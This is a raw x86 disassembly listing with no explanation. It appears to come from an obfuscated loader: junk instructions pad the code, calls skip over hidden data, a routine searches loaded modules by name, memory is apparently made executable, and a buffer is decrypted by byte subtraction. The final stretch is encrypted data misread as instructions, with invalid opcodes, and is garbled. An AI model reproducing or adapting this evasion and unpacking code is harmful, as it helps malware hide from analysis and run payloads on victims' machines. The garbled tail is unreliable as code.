jmp 0x408090
or ecx, 0x9843
pop ecx
push edx
sub edx, 0x6f3f
pop edx
cmp dword [ebp - 0x1574], 0
jne 0x4080b7
mov dword [ebp - 0x2a8], 0
jmp 0x40835e
mov edx, dword [ebp - 0x1574]
mov eax, dword [edx + 0xc]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0xc68], ecx
push edx
push esi
add esp, 4
jmp 0x4080d3
pop edx
push edx
jmp 0x4080dd
call 0x4080eb
add byte [esi], dh
cmp al, 0x4e
inc ecx
inc ebx
dec eax
add esp, 4
sub edx, 0x12865
or edx, 0x65dc
pop edx
cmp dword [ebp - 0xc68], 0
jne 0x408113
mov dword [ebp - 0x2a8], 0
jmp 0x40835e
mov edx, dword [ebp - 0xc68]
mov dword [ebp - 0x4ec], edx
push eax
push edx
add esp, 4
xor eax, 0xd000
sub eax, 0x16784
add eax, 0xf3b2
add eax, 0x2293
pop eax
push ebx
push esi
add esp, 4
xor ebx, 0xe0e5
jmp 0x408150
pop ebx
lea eax, [ebp - 0x1628]
mov dword [ebp - 0xc64], eax
mov ecx, dword [ebp - 0x4ec]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0xc60], edx
xor eax, eax
mov word [ebp - 0x20c], ax
xor ecx, ecx
mov word [ebp - 0x40], cx
push esi
push edi
add esp, 4
add esi, 0x10f3
xor esi, 0xd46b
and esi, 0x16a20
add esi, 0xb1cb
pop esi
push esi
or esi, 0x17e70
xor esi, 0x15809
xor esi, 0x2e99
pop esi
mov edx, dword [ebp - 0xc60]
mov ax, word [edx]
mov word [ebp - 0xf92], ax
mov ecx, dword [ebp - 0xc60]
add ecx, 2
mov dword [ebp - 0xc60], ecx
mov dx, word [ebp - 0xf92]
mov word [ebp - 0x20c], dx
mov eax, dword [ebp - 0xc64]
mov cx, word [eax]
mov word [ebp - 0xf94], cx
mov edx, dword [ebp - 0xc64]
add edx, 2
mov dword [ebp - 0xc64], edx
mov ax, word [ebp - 0xf94]
mov word [ebp - 0x40], ax
push ebx
and ebx, 0xbb47
and ebx, 0x11b78
call 0x40821e
add byte [edx], bh
dec edx
xor eax, 0x4c4a4a42
add esp, 4
or ebx, 0x11215
pop ebx
push edi
and edi, 0xbbbb
xor edi, 0xea88
pop edi
movzx ecx, word [ebp - 0x40]
test ecx, ecx
jne 0x408253
movzx edx, word [ebp - 0x20c]
movzx eax, word [ebp - 0x40]
sub edx, eax
mov dword [ebp - 0x157c], edx
jmp 0x4082ad
movzx ecx, word [ebp - 0x20c]
movzx edx, word [ebp - 0x40]
cmp ecx, edx
je 0x40817b
movzx eax, word [ebp - 0x20c]
xor eax, 0x20
movzx ecx, word [ebp - 0x40]
cmp eax, ecx
je 0x40817b
movzx edx, word [ebp - 0x20c]
movzx eax, word [ebp - 0x40]
cmp edx, eax
jge 0x408297
mov dword [ebp - 0x1578], 0xffffffff
jmp 0x4082a1
mov dword [ebp - 0x1578], 1
mov ecx, dword [ebp - 0x1578]
mov dword [ebp - 0x157c], ecx
cmp dword [ebp - 0x157c], 0
jne 0x4082f6
push edi
push eax
add esp, 4
call 0x4082ca
add byte [ebx], dh
cmp al, 0x34
dec ebx
inc esp
cmp al, 0x47
xor al, 0x83
les eax, [ecx + eax*4]
out 0xf7, eax
xor eax, 0x535f0001
xor ebx, 0x3f7c
and ebx, 0x141f9
add ebx, 0x9e4e
pop ebx
mov edx, dword [ebp - 0x4ec]
mov dword [ebp - 0x2a8], edx
jmp 0x40835e
push esi
or esi, 0x15ed0
or esi, 0xcb68
add esi, 0x16647
pop esi
push eax
jmp 0x408313
sub eax, 0xfd2c
pop eax
push eax
or eax, 0xe2a4
or eax, 0x16313
pop eax
mov eax, dword [ebp - 0x4ec]
mov ecx, dword [eax]
mov dword [ebp - 0x4ec], ecx
mov edx, dword [ebp - 0x4ec]
cmp edx, dword [ebp - 0xc68]
je 0x408354
mov eax, dword [ebp - 0x4ec]
cmp dword [eax + 0x30], 0
jne 0x40811f
mov dword [ebp - 0x2a8], 0
push edx
and edx, 0x16d1f
or edx, 0x6b77
pop edx
push ebx
push edi
add esp, 4
call 0x408380
add byte [ebp + eax*2 + 0x3d], cl
push eax
cmp al, 0x4d
dec ecx
dec esp
dec eax
add esp, 4
xor ebx, 0x2e84
add ebx, 0x3a1d
pop ebx
push esi
or esi, 0x320e
add esi, 0x1634d
pop esi
push edx
and edx, 0x6afd
sub edx, 0xd377
and edx, 0xfdc1
pop edx
push esi
or esi, 0x161ea
pop esi
push eax
add eax, 0x15a83
pop eax
mov edx, dword [ebp - 0xa58]
mov dword [ebp - 0x1910], edx
lea eax, [ebp - 0xc70]
push eax
push 0x40
mov ecx, dword [ebp - 0x158c]
push ecx
mov edx, dword [ebp - 0x3cc]
push edx
call dword [ebp - 0x1910]
test eax, eax
jne 0x4087a3
push ecx
push eax
add esp, 4
or ecx, 0x15be0
xor ecx, 0x64ba
sub ecx, 0xacfb
pop ecx
push ebx
add ebx, 0x10cf6
and ebx, 0xb7e
pop ebx
push ecx
push edi
add esp, 4
and ecx, 0x17e93
pop ecx
mov eax, dword [ebp - 0x738]
mov dword [ebp - 0x1914], eax
push 0
call dword [ebp - 0x1914]
mov ecx, dword [ebp - 0x1918]
mov dword [ebp - 0x734], ecx
jmp 0x4087c0
mov edx, dword [ebp - 0x734]
add edx, 1
mov dword [ebp - 0x734], edx
mov eax, dword [ebp - 0x734]
cmp eax, dword [ebp - 0xa5c]
jae 0x40881c
push eax
add eax, 0x109f1
xor eax, 0x12222
add eax, 0xab1f
add eax, 0xd9e6
pop eax
push ebx
push esi
add esp, 4
and ebx, 0x5ad1
or ebx, 0x19c1
add ebx, 0x301d
pop ebx
movzx ecx, byte [ebp - 0x381]
mov edx, dword [ebp - 0x734]
movsx eax, byte [edx]
sub eax, ecx
mov ecx, dword [ebp - 0x734]
mov byte [ecx], al
jmp 0x4087b1
mov edx, dword [ebp - 0xa58]
mov dword [ebp - 0x191c], edx
lea eax, [ebp - 0xc70]
push eax
mov ecx, dword [ebp - 0xc70]
push ecx
mov edx, dword [ebp - 0x158c]
push edx
mov eax, dword [ebp - 0x3cc]
push eax
call dword [ebp - 0x191c]
test eax, eax
jne 0x408894
push edx
jmp 0x408858
pop edx
push ecx
and ecx, 0x112f5
add ecx, 0x12c91
pop ecx
push ecx
call 0x408876
add byte [edi], dh
dec ebx
inc edi
dec edi
aaa
dec ecx
dec ebx
cmp eax, dword [ebx - 0x167efb3c]
ror dword [ebx - 0x74a70000], cl
invalid
push eax
push esi
add esp, 4
sub eax, 0xb402
sub eax, 0x3eac
sub eax, 0x11036
jmp 0x4088b1
pop eax
push edi
add edi, 0x9ce9
add edi, 0x12aeb
or edi, 0x15259
pop edi
push edx
mov ecx, 0x10101010
pop edx
push ecx
mov ecx, 0xffff03ff
pop ecx
pop edx
push esp
xchg bh, al
pop es
jmp 0x4088e5
xchg bh, al
pop es
test dl, cl
adc al, 0x18
add eax, dword [ebx]
jmp 0x4088fc
xchg bh, al
pop es
out dx, al
pop es
push eax
inc esp
dec ebp
inc edx
bound edi, qword [ebp + 0x303036e]
imul ecx, dword [eax + ebx*4 + 0x202ecbf], 0x30368bb
add ebp, dword [ecx - 0x74]
mov cl, al
in al, dx
add al, byte [edx]
mov esp, 0x3030375
imul ecx, dword [eax + edx*4 + 0x202ecc3], 0x30371bd
add ebp, dword [ecx - 0x74]
cwde
invalid
mov bh, ah
out dx, al
add al, byte [edx]
add al, byte [edx]
add al, byte [edx]
out dx, al
or eax, 0xeee788ca
add al, byte [edx]
add al, 3
add eax, dword [ebx]
mov ds, word [eax + 0x202eee7]
mov word [eax + 0x202eee3], ds
xchg al, al
jecxz 0x41dada
add al, byte [edx]
add edi, dword [eax + 0x43]
pop edx
test dl, ch
pop edx
adc al, 4
add ebp, ebx
or eax, 0x3030303
dec ebp
cmp eax, dword [ecx + 0x3e]
inc esi
dec ebp
xor eax, 0xc7864541
pop es
test dl, dh
sub esi, dword [esp + eax + 3]
bound edx, qword [esi + 0x53]
xchg bh, al
pop es
test dh, dh
ror dword [eax], 1
add al, 3
test dh, ch
cmp dword [edi - 0x71a1fcfd], ebp
mov byte [edi - 2], dl
add al, byte [edx]
mov word [eax + 0x202fd0f], cs
out dx, al
imul edx, dword [ebx + 0x53], 0xffffff86
mov dword [edi], 0x37a2f384
add al, 3
test bl, dh
sbb dword [ebx], edi
add al, 3
test bl, dh
push esi
mov al, byte [0x535b0303]
test bl, ah
pop ebx
test eax, 0xf3840303
mov edx, 0x5b030475
pop ecx
push esi
xchg bh, al
pop es
test cl, bh
stc
adc dword [ebx + eax], eax
popal
mov ss, word [eax + 0x202fe57]
mov ss, word [esp + ecx*4]
cwde
push edi
inc byte [edx]
add cl, byte [esi + 0x2fe5788]
add bh, byte [esi]
mov bl, dl
add al, byte [edx]
ja 0x41db92
mov ss, word [eax + 0x202fe57]
xchg byte [ebx + esi + 3], bh
adc cl, byte [eax + 0x20200b9]
retf 0xf88
std
add al, byte [edx]
add eax, dword [ebx]
add eax, dword [ebx]
pop ecx
test cl, dl
jmp 0x8444df6a